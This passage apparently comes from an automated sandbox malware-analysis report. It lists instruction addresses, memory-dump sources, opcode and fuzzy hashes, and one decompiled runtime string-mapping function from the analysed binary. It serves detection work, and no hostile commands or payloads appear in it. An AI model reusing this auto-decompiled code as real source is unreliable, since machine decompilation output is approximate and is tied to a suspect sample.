                                                                                                                                                                                          0x00406e29
                                                                                                                                                                                          0x00406e31
                                                                                                                                                                                          0x00406e34
                                                                                                                                                                                          0x00406e37
                                                                                                                                                                                          0x00406e39
                                                                                                                                                                                          0x00406e3b
                                                                                                                                                                                          0x00406e41
                                                                                                                                                                                          0x00406e7c
                                                                                                                                                                                          0x00406e7f
                                                                                                                                                                                          0x00406e82
                                                                                                                                                                                          0x00406e88
                                                                                                                                                                                          0x00406e8a
                                                                                                                                                                                          0x00406e8e
                                                                                                                                                                                          0x00406e91
                                                                                                                                                                                          0x00406e93
                                                                                                                                                                                          0x00406e96
                                                                                                                                                                                          0x00406e9a
                                                                                                                                                                                          0x00406e9e
                                                                                                                                                                                          0x00406ea0
                                                                                                                                                                                          0x00406ea4
                                                                                                                                                                                          0x00406ea9
                                                                                                                                                                                          0x00406ead
                                                                                                                                                                                          0x00406eaf
                                                                                                                                                                                          0x00406eaf
                                                                                                                                                                                          0x00406e9e
                                                                                                                                                                                          0x00406ebd
                                                                                                                                                                                          0x00406ec8
                                                                                                                                                                                          0x00406ece
                                                                                                                                                                                          0x00406ed2
                                                                                                                                                                                          0x00406ed4
                                                                                                                                                                                          0x00406eda
                                                                                                                                                                                          0x00407010
                                                                                                                                                                                          0x00407012
                                                                                                                                                                                          0x00407016
                                                                                                                                                                                          0x00407017
                                                                                                                                                                                          0x0040701e
                                                                                                                                                                                          0x0040701f
                                                                                                                                                                                          0x00407020
                                                                                                                                                                                          0x00407026
                                                                                                                                                                                          0x00407027
                                                                                                                                                                                          0x00407028
                                                                                                                                                                                          0x0040702e
                                                                                                                                                                                          0x00407031
                                                                                                                                                                                          0x00407035
                                                                                                                                                                                          0x0040703c
                                                                                                                                                                                          0x00407041
                                                                                                                                                                                          0x00407042
                                                                                                                                                                                          0x00407043
                                                                                                                                                                                          0x00407048
                                                                                                                                                                                          0x0040704d
                                                                                                                                                                                          0x0040704e
                                                                                                                                                                                          0x0040704e
                                                                                                                                                                                          0x00407048
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00406ee0
                                                                                                                                                                                          0x00406ee2
                                                                                                                                                                                          0x00406ee8
                                                                                                                                                                                          0x0040705a
                                                                                                                                                                                          0x0040705e
                                                                                                                                                                                          0x00407065
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407065
                                                                                                                                                                                          0x00406ef2
                                                                                                                                                                                          0x00406ef6
                                                                                                                                                                                          0x00406ef7
                                                                                                                                                                                          0x00406efd
                                                                                                                                                                                          0x00406f25
                                                                                                                                                                                          0x00406f76
                                                                                                                                                                                          0x00406f7c
                                                                                                                                                                                          0x00406f92
                                                                                                                                                                                          0x00406f92
                                                                                                                                                                                          0x00406f99
                                                                                                                                                                                          0x00406fd1
                                                                                                                                                                                          0x00406fd1
                                                                                                                                                                                          0x00406fd7
                                                                                                                                                                                          0x00406fdc
                                                                                                                                                                                          0x00406fdd
                                                                                                                                                                                          0x00406fde
                                                                                                                                                                                          0x00406fe3
                                                                                                                                                                                          0x00406fe8
                                                                                                                                                                                          0x00406fe9
                                                                                                                                                                                          0x00406fe9
                                                                                                                                                                                          0x00406fe3
                                                                                                                                                                                          0x00406feb
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00406feb
                                                                                                                                                                                          0x00406f9b
                                                                                                                                                                                          0x00406fa9
                                                                                                                                                                                          0x00406fb0
                                                                                                                                                                                          0x00406fb4
                                                                                                                                                                                          0x00406fb9
                                                                                                                                                                                          0x00406fba
                                                                                                                                                                                          0x00406fbb
                                                                                                                                                                                          0x00406fc0
                                                                                                                                                                                          0x00406fc1
                                                                                                                                                                                          0x00406fc2
                                                                                                                                                                                          0x00406fc8
                                                                                                                                                                                          0x00406fc9
                                                                                                                                                                                          0x00406fca
                                                                                                                                                                                          0x00406fcd
                                                                                                                                                                                          0x00406fcd
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00406fb0
                                                                                                                                                                                          0x00406f7e
                                                                                                                                                                                          0x00406f82
                                                                                                                                                                                          0x00406f82
                                                                                                                                                                                          0x00406f85
                                                                                                                                                                                          0x00406f86
                                                                                                                                                                                          0x00406f87
                                                                                                                                                                                          0x00406f8a
                                                                                                                                                                                          0x00406f8a
                                                                                                                                                                                          0x00406f8e
                                                                                                                                                                                          0x00406f90
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00406f90
                                                                                                                                                                                          0x00406f2f
                                                                                                                                                                                          0x00406f31
                                                                                                                                                                                          0x00406f37
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00406f39
                                                                                                                                                                                          0x00406f40
                                                                                                                                                                                          0x00406f40
                                                                                                                                                                                          0x00406f43
                                                                                                                                                                                          0x00406f44
                                                                                                                                                                                          0x00406f45
                                                                                                                                                                                          0x00406f48
                                                                                                                                                                                          0x00406f48
                                                                                                                                                                                          0x00406f4c
                                                                                                                                                                                          0x00406f54
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00406f56
                                                                                                                                                                                          0x00406f5a
                                                                                                                                                                                          0x00406f60
                                                                                                                                                                                          0x00406f60
                                                                                                                                                                                          0x00406f63
                                                                                                                                                                                          0x00406f64
                                                                                                                                                                                          0x00406f65
                                                                                                                                                                                          0x00406f68
                                                                                                                                                                                          0x00406f68
                                                                                                                                                                                          0x00406f6e
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00406f6e
                                                                                                                                                                                          0x00406f05
                                                                                                                                                                                          0x00406f0b
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00406f11
                                                                                                                                                                                          0x00406f15
                                                                                                                                                                                          0x00406f15
                                                                                                                                                                                          0x00406f18
                                                                                                                                                                                          0x00406f19
                                                                                                                                                                                          0x00406f1a
                                                                                                                                                                                          0x00406f1d
                                                                                                                                                                                          0x00406f1d
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00406f21
                                                                                                                                                                                          0x00406e43
                                                                                                                                                                                          0x00406e43
                                                                                                                                                                                          0x00406e62
                                                                                                                                                                                          0x00406e6d
                                                                                                                                                                                          0x00406e70
                                                                                                                                                                                          0x00406e72
                                                                                                                                                                                          0x00406e74
                                                                                                                                                                                          0x00406e7a
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00406e7a
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00406e43
                                                                                                                                                                                          0x00406e41

                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID:
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                          • Opcode ID: 020392db844ceed98276714fd2150c2ad4a639f6bad3fb02a1d0621011a6745a
                                                                                                                                                                                          • Instruction ID: cc67e10771130af0a5279b37c8f7fa75a2653c997645fd1ae8a0b8309c7f2627
                                                                                                                                                                                          • Opcode Fuzzy Hash: 020392db844ceed98276714fd2150c2ad4a639f6bad3fb02a1d0621011a6745a
                                                                                                                                                                                          • Instruction Fuzzy Hash: 48E1D6306083514FC708CF28C99456ABBE2EFC5304F198A7EE8D68B386D779D94ACB55
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00817856, Relevance: .3, Instructions: 310COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID:
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                          • Opcode ID: a3fc5284134f86fd186721dcf95c44c202eff21e43d8ff3da1d4bdbd65ccf5f9
                                                                                                                                                                                          • Instruction ID: 0addcb91a80595f6a95f24d3258ffaf66cad48e7f5c7ea98f091d77ea6efdba7
                                                                                                                                                                                          • Opcode Fuzzy Hash: a3fc5284134f86fd186721dcf95c44c202eff21e43d8ff3da1d4bdbd65ccf5f9
                                                                                                                                                                                          • Instruction Fuzzy Hash: 56C18F706083569FD308CF28C4846AABBF5FF88304F148A2DE89587781D774EA95CBD2
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00812DE0, Relevance: .2, Instructions: 212COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID:
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                          • Opcode ID: 519d71d31dfe2b71d65c539f7253ce4d0ce1a0c509a5eaaf561cac07154b4855
                                                                                                                                                                                          • Instruction ID: 619d234713651ff3663182c120031aa870938dc0bce303ea34af36798664aec6
                                                                                                                                                                                          • Opcode Fuzzy Hash: 519d71d31dfe2b71d65c539f7253ce4d0ce1a0c509a5eaaf561cac07154b4855
                                                                                                                                                                                          • Instruction Fuzzy Hash: B1718672A9195347E39DCF5CECD17753713EBC9351F0DC239CA024B6AAC9386522C688
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00402B90, Relevance: .2, Instructions: 212COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID:
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                          • Opcode ID: 519d71d31dfe2b71d65c539f7253ce4d0ce1a0c509a5eaaf561cac07154b4855
                                                                                                                                                                                          • Instruction ID: 74c1b90a01db230de662c72faab58802bb742d928f34651097fec506a9751401
                                                                                                                                                                                          • Opcode Fuzzy Hash: 519d71d31dfe2b71d65c539f7253ce4d0ce1a0c509a5eaaf561cac07154b4855
                                                                                                                                                                                          • Instruction Fuzzy Hash: 15717072A9155347E39CCF5CECD17763713DBC5351F49C23ACA025B6EAC938A922C688
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00812B00, Relevance: .2, Instructions: 184COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID:
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                          • Opcode ID: 56d4400f77c04dc4446d24fbb084ed78fa0beaad766ef6ff58d44a670f1be69a
                                                                                                                                                                                          • Instruction ID: df79312356548684fe8d6ce52ece2d928fbe9881d6bd8b2106798d57722b4cea
                                                                                                                                                                                          • Opcode Fuzzy Hash: 56d4400f77c04dc4446d24fbb084ed78fa0beaad766ef6ff58d44a670f1be69a
                                                                                                                                                                                          • Instruction Fuzzy Hash: D2615F3266055747E391CF6CEDC47A63763EB89311F18C670CA008B666CB39A97297CC
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 004028B0, Relevance: .2, Instructions: 184COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID:
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                          • Opcode ID: 56d4400f77c04dc4446d24fbb084ed78fa0beaad766ef6ff58d44a670f1be69a
                                                                                                                                                                                          • Instruction ID: e93c334361593eb17f37b37ed9e80cdb2c00b1b1e1af3e0e9a736190e966ddef
                                                                                                                                                                                          • Opcode Fuzzy Hash: 56d4400f77c04dc4446d24fbb084ed78fa0beaad766ef6ff58d44a670f1be69a
                                                                                                                                                                                          • Instruction Fuzzy Hash: 4A615E3266055747E391DF6DEEC47663762EBC9351F18C630CA008B6A6CB39B92297CC
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 008118A0, Relevance: .1, Instructions: 111COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID:
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                          • Opcode ID: f84f8abda09efbfc4fc50908dec446613bf2f52d635c093d4d9c5e236f650133
                                                                                                                                                                                          • Instruction ID: 49dd5d8556b2151c893ef44188b8142bb59c37375523ac0486466e2f2bc5dc35
                                                                                                                                                                                          • Opcode Fuzzy Hash: f84f8abda09efbfc4fc50908dec446613bf2f52d635c093d4d9c5e236f650133
                                                                                                                                                                                          • Instruction Fuzzy Hash: A651F84400D7E18EC716873A44E0AA7BFD10EAB115F4E9ACDA5E90B2E3C159C288DB77
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00401650, Relevance: .1, Instructions: 111COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID:
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                          • Opcode ID: f84f8abda09efbfc4fc50908dec446613bf2f52d635c093d4d9c5e236f650133
                                                                                                                                                                                          • Instruction ID: 39afabd8a370e1aacf823bb5b0eb141e0e266d105c364ee31248ba7b153c19f0
                                                                                                                                                                                          • Opcode Fuzzy Hash: f84f8abda09efbfc4fc50908dec446613bf2f52d635c093d4d9c5e236f650133
                                                                                                                                                                                          • Instruction Fuzzy Hash: 2851F94400D7E18EC716873A44E0AA7BFD10FAB115F4E9ACDA5E90B2E3C159C288DB77
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00813170, Relevance: .1, Instructions: 103COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID:
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                          • Opcode ID: 5804b07f674ae3d268ec1438c7da71b35f3107e62f64f1f633515dfb68ee091a
                                                                                                                                                                                          • Instruction ID: 0700c1d9b8e3d0af29461885028d983f958d1ccd118f1156c2ef6bac319d1d83
                                                                                                                                                                                          • Opcode Fuzzy Hash: 5804b07f674ae3d268ec1438c7da71b35f3107e62f64f1f633515dfb68ee091a
                                                                                                                                                                                          • Instruction Fuzzy Hash: 7231BE302043419BE738DA19C890BEBB3A9FFC0306F48C92CD996C7240E675EAC5C792
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00402F20, Relevance: .1, Instructions: 103COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID:
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                          • Opcode ID: 5804b07f674ae3d268ec1438c7da71b35f3107e62f64f1f633515dfb68ee091a
                                                                                                                                                                                          • Instruction ID: cff114a85fcb8f5deb46d81d22c4208fa3965af46b01a687ebeadebabb5a60ab
                                                                                                                                                                                          • Opcode Fuzzy Hash: 5804b07f674ae3d268ec1438c7da71b35f3107e62f64f1f633515dfb68ee091a
                                                                                                                                                                                          • Instruction Fuzzy Hash: 9A31D8302052028BE738CE19C954BEBB3B5AFC0349F44883ED986A73C4DABDD945D795
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 008131D9, Relevance: .1, Instructions: 77COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID:
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                          • Opcode ID: 9961543af999a1320c5b9d9b8c59a9b64f893fc8dbb42675723320a25693eab2
                                                                                                                                                                                          • Instruction ID: 489b377accfb5919f1971620b4865c9d08885e4565ae40dd4a56f4a2105018f5
                                                                                                                                                                                          • Opcode Fuzzy Hash: 9961543af999a1320c5b9d9b8c59a9b64f893fc8dbb42675723320a25693eab2
                                                                                                                                                                                          • Instruction Fuzzy Hash: 9321483160424187EB289A29C8A17EBB3A9FFC0346F58C52CCD96D6680E675EAC18791
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00402F89, Relevance: .1, Instructions: 77COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID:
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                          • Opcode ID: 9961543af999a1320c5b9d9b8c59a9b64f893fc8dbb42675723320a25693eab2
                                                                                                                                                                                          • Instruction ID: 40597224e526abc728bb10992f322fa75c91b34d76fbbe6bc80328d1c420bfc2
                                                                                                                                                                                          • Opcode Fuzzy Hash: 9961543af999a1320c5b9d9b8c59a9b64f893fc8dbb42675723320a25693eab2
                                                                                                                                                                                          • Instruction Fuzzy Hash: F321923170520247EB68C929C9547ABB3A5ABC0389F48853EC986A73C8DAB9E941D785
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00810D90, Relevance: .0, Instructions: 38COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID:
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                          • Opcode ID: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
                                                                                                                                                                                          • Instruction ID: edfb97ac08a0f8d3bc0f3d568c20a4b196fc0d34672a1efb95b6c4686be0bd7c
                                                                                                                                                                                          • Opcode Fuzzy Hash: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
                                                                                                                                                                                          • Instruction Fuzzy Hash: CCF0AF76A005089FDB21CFA4EC05BEE73B9FF85315F0442A4D80AD7241D3B0A9828F50
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00417081, Relevance: 31.8, APIs: 21, Instructions: 340COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 86%
                                                                                                                                                                                          			E00417081(short* __ecx, int _a4, signed int _a8, char* _a12, int _a16, char* _a20, int _a24, int _a28, intOrPtr _a32) {
				signed int _v8;
				int _v12;
				int _v16;
				int _v20;
				intOrPtr _v24;
				void* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t110;
				intOrPtr _t112;
				intOrPtr _t113;
				short* _t115;
				short* _t116;
				char* _t120;
				short* _t121;
				short* _t123;
				short* _t127;
				int _t128;
				short* _t141;
				signed int _t144;
				void* _t146;
				short* _t147;
				signed int _t150;
				short* _t153;
				char* _t157;
				int _t160;
				long _t162;
				signed int _t174;
				signed int _t178;
				signed int _t179;
				int _t182;
				short* _t184;
				signed int _t186;
				signed int _t188;
				short* _t189;
				int _t191;
				intOrPtr _t194;
				int _t207;

				_t110 =  *0x422234; // 0x651555e9
				_v8 = _t110 ^ _t188;
				_t184 = __ecx;
				_t194 =  *0x423e7c; // 0x1
				if(_t194 == 0) {
					_t182 = 1;
					if(LCMapStringW(0, 0x100, 0x420398, 1, 0, 0) == 0) {
						_t162 = GetLastError();
						__eflags = _t162 - 0x78;
						if(_t162 == 0x78) {
							 *0x423e7c = 2;
						}
					} else {
						 *0x423e7c = 1;
					}
				}
				if(_a16 <= 0) {
					L13:
					_t112 =  *0x423e7c; // 0x1
					if(_t112 == 2 || _t112 == 0) {
						_v16 = 0;
						_v20 = 0;
						__eflags = _a4;
						if(_a4 == 0) {
							_a4 =  *((intOrPtr*)( *_t184 + 0x14));
						}
						__eflags = _a28;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t113 = E00417A20(0, _t179, _t182, _t184, _a4);
						_v24 = _t113;
						__eflags = _t113 - 0xffffffff;
						if(_t113 != 0xffffffff) {
							__eflags = _t113 - _a28;
							if(_t113 == _a28) {
								_t184 = LCMapStringA(_a4, _a8, _a12, _a16, _a20, _a24);
								L78:
								__eflags = _v16;
								if(__eflags != 0) {
									_push(_v16);
									E0040B6B5(0, _t182, _t184, __eflags);
								}
								_t115 = _v20;
								__eflags = _t115;
								if(_t115 != 0) {
									__eflags = _a20 - _t115;
									if(__eflags != 0) {
										_push(_t115);
										E0040B6B5(0, _t182, _t184, __eflags);
									}
								}
								_t116 = _t184;
								goto L84;
							}
							_t120 = E00417A69(_t179, _a28, _t113, _a12,  &_a16, 0, 0);
							_t191 =  &(_t189[0xc]);
							_v16 = _t120;
							__eflags = _t120;
							if(_t120 == 0) {
								goto L58;
							}
							_t121 = LCMapStringA(_a4, _a8, _t120, _a16, 0, 0);
							_v12 = _t121;
							__eflags = _t121;
							if(__eflags != 0) {
								if(__eflags <= 0) {
									L71:
									_t182 = 0;
									__eflags = 0;
									L72:
									__eflags = _t182;
									if(_t182 == 0) {
										goto L62;
									}
									E0040BA30(_t182, _t182, 0, _v12);
									_t123 = LCMapStringA(_a4, _a8, _v16, _a16, _t182, _v12);
									_v12 = _t123;
									__eflags = _t123;
									if(_t123 != 0) {
										_t186 = E00417A69(_t179, _v24, _a28, _t182,  &_v12, _a20, _a24);
										_v20 = _t186;
										asm("sbb esi, esi");
										_t184 =  ~_t186 & _v12;
										__eflags = _t184;
									} else {
										_t184 = 0;
									}
									E004147AE(_t182);
									goto L78;
								}
								__eflags = _t121 - 0xffffffe0;
								if(_t121 > 0xffffffe0) {
									goto L71;
								}
								_t127 =  &(_t121[4]);
								__eflags = _t127 - 0x400;
								if(_t127 > 0x400) {
									_t128 = E0040B84D(0, _t179, _t182, _t127);
									__eflags = _t128;
									if(_t128 != 0) {
										 *_t128 = 0xdddd;
										_t128 = _t128 + 8;
										__eflags = _t128;
									}
									_t182 = _t128;
									goto L72;
								}
								E0040CFB0(_t127);
								_t182 = _t191;
								__eflags = _t182;
								if(_t182 == 0) {
									goto L62;
								}
								 *_t182 = 0xcccc;
								_t182 = _t182 + 8;
								goto L72;
							}
							L62:
							_t184 = 0;
							goto L78;
						} else {
							goto L58;
						}
					} else {
						if(_t112 != 1) {
							L58:
							_t116 = 0;
							L84:
							return E0040CE09(_t116, 0, _v8 ^ _t188, _t179, _t182, _t184);
						}
						_v12 = 0;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t184 = MultiByteToWideChar;
						_t182 = MultiByteToWideChar(_a28, 1 + (0 | _a32 != 0x00000000) * 8, _a12, _a16, 0, 0);
						_t207 = _t182;
						if(_t207 == 0) {
							goto L58;
						} else {
							if(_t207 <= 0) {
								L28:
								_v16 = 0;
								L29:
								if(_v16 == 0) {
									goto L58;
								}
								if(MultiByteToWideChar(_a28, 1, _a12, _a16, _v16, _t182) == 0) {
									L52:
									E004147AE(_v16);
									_t116 = _v12;
									goto L84;
								}
								_t184 = LCMapStringW;
								_t174 = LCMapStringW(_a4, _a8, _v16, _t182, 0, 0);
								_v12 = _t174;
								if(_t174 == 0) {
									goto L52;
								}
								if((_a8 & 0x00000400) == 0) {
									__eflags = _t174;
									if(_t174 <= 0) {
										L44:
										_t184 = 0;
										__eflags = 0;
										L45:
										__eflags = _t184;
										if(_t184 != 0) {
											_t141 = LCMapStringW(_a4, _a8, _v16, _t182, _t184, _v12);
											__eflags = _t141;
											if(_t141 != 0) {
												_push(0);
												_push(0);
												__eflags = _a24;
												if(_a24 != 0) {
													_push(_a24);
													_push(_a20);
												} else {
													_push(0);
													_push(0);
												}
												_v12 = WideCharToMultiByte(_a28, 0, _t184, _v12, ??, ??, ??, ??);
											}
											E004147AE(_t184);
										}
										goto L52;
									}
									_t144 = 0xffffffe0;
									_t179 = _t144 % _t174;
									__eflags = _t144 / _t174 - 2;
									if(_t144 / _t174 < 2) {
										goto L44;
									}
									_t52 = _t174 + 8; // 0x8
									_t146 = _t174 + _t52;
									__eflags = _t146 - 0x400;
									if(_t146 > 0x400) {
										_t147 = E0040B84D(0, _t179, _t182, _t146);
										__eflags = _t147;
										if(_t147 != 0) {
											 *_t147 = 0xdddd;
											_t147 =  &(_t147[4]);
											__eflags = _t147;
										}
										_t184 = _t147;
										goto L45;
									}
									E0040CFB0(_t146);
									_t184 = _t189;
									__eflags = _t184;
									if(_t184 == 0) {
										goto L52;
									}
									 *_t184 = 0xcccc;
									_t184 =  &(_t184[4]);
									goto L45;
								}
								if(_a24 != 0 && _t174 <= _a24) {
									LCMapStringW(_a4, _a8, _v16, _t182, _a20, _a24);
								}
								goto L52;
							}
							_t150 = 0xffffffe0;
							_t179 = _t150 % _t182;
							if(_t150 / _t182 < 2) {
								goto L28;
							}
							_t25 = _t182 + 8; // 0x8
							_t152 = _t182 + _t25;
							if(_t182 + _t25 > 0x400) {
								_t153 = E0040B84D(0, _t179, _t182, _t152);
								__eflags = _t153;
								if(_t153 == 0) {
									L27:
									_v16 = _t153;
									goto L29;
								}
								 *_t153 = 0xdddd;
								L26:
								_t153 =  &(_t153[4]);
								goto L27;
							}
							E0040CFB0(_t152);
							_t153 = _t189;
							if(_t153 == 0) {
								goto L27;
							}
							 *_t153 = 0xcccc;
							goto L26;
						}
					}
				}
				_t178 = _a16;
				_t157 = _a12;
				while(1) {
					_t178 = _t178 - 1;
					if( *_t157 == 0) {
						break;
					}
					_t157 =  &(_t157[1]);
					if(_t178 != 0) {
						continue;
					}
					_t178 = _t178 | 0xffffffff;
					break;
				}
				_t160 = _a16 - _t178 - 1;
				if(_t160 < _a16) {
					_t160 = _t160 + 1;
				}
				_a16 = _t160;
				goto L13;
			}











































                                                                                                                                                                                          0x00417089
                                                                                                                                                                                          0x00417090
                                                                                                                                                                                          0x00417098
                                                                                                                                                                                          0x0041709a
                                                                                                                                                                                          0x004170a0
                                                                                                                                                                                          0x004170a6
                                                                                                                                                                                          0x004170bb
                                                                                                                                                                                          0x004170c5
                                                                                                                                                                                          0x004170cb
                                                                                                                                                                                          0x004170ce
                                                                                                                                                                                          0x004170d0
                                                                                                                                                                                          0x004170d0
                                                                                                                                                                                          0x004170bd
                                                                                                                                                                                          0x004170bd
